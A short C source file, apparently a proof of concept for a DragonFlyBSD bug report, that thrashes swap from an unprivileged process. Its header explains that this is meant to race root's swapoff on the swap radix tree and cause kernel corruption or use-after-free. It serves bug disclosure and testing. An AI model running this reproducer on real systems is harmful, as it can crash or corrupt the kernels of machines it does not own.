DF-0945 / stress.c
/* * stress.c - DF-0945 PoC: unprivileged pager stressor (slow-dirty + thrash). * * Phase 1: allocate a large anonymous region and dirty it SLOWLY (sequential, * ~1 page/us). Slow dirtying gives the DragonFlyBSD page daemon time to push * the oldest pages to swap (driving swp_pager_getswapspace -> blist_allocat), * instead of the alternative (fast dirty -> pages freed before daemon runs -> * no swap activity at all). * * Phase 2: random-access thrash the region for the remaining time. Each * random access may fault a swapped-out page -> page-in (swap block freed via * blist_free); the page daemon reclaims other pages -> swap-out (blist_allocat). * This creates continuous blist_allocat/blist_free activity on the global * swapblist tree while root's swapoff_one() concurrently calls blist_fill / * blist_resize on the SAME tree under only swap_mtx. Neither lock nests the * other -> concurrent radix-tree mutation -> corruption / UAF. * * Build: cc -O2 -o stress stress.c * Run: ./stress [total_mb] [seconds] */ #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <sys/mman.h> #include <time.h> int main(int argc, char **argv) { size_t sz_mb = (argc > 1) ? (size_t)atol(argv[1]) : 3500; int seconds = (argc > 2) ? atoi(argv[2]) : 300; size_t sz = sz_mb * 1024 * 1024; size_t pgsize = sysconf(_SC_PAGESIZE); size_t npages = sz / pgsize; time_t end = time(NULL) + seconds; volatile unsigned char sum = 0; srandom(getpid() ^ time(NULL)); char *p = mmap(NULL, sz, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (p == MAP_FAILED) { perror("mmap"); return 1; } /* Phase 1: slow sequential dirty. ~1 touch per microsecond gives the * page daemon (periodic scan) time to push older pages to swap. */ fprintf(stderr, "[stress pid=%d] dirtying %zu MB slowly...\n", (int)getpid(), sz_mb); size_t i; for (i = 0; i < sz; i += pgsize) { p[i] = (unsigned char)(0xAB + ((i >> 12) & 0x3f)); /* nanosleep-ish pause every 256 pages (~1us each) */ if ((i & ((256 * 4096) - 1)) == 0) usleep(200); } fprintf(stderr, "[stress pid=%d] dirty done, thrashing for %d s\n", (int)getpid(), seconds); /* Phase 2: random-access thrash -> continuous page-in (blist_free) + * page-out (blist_allocat) on the global swapblist radix tree. */ unsigned long n = 0; while (time(NULL) < end) { size_t off = ((size_t)random() % npages) * pgsize; sum += p[off]; p[off] = (unsigned char)(sum + n); n++; } munmap(p, sz); return 0; } |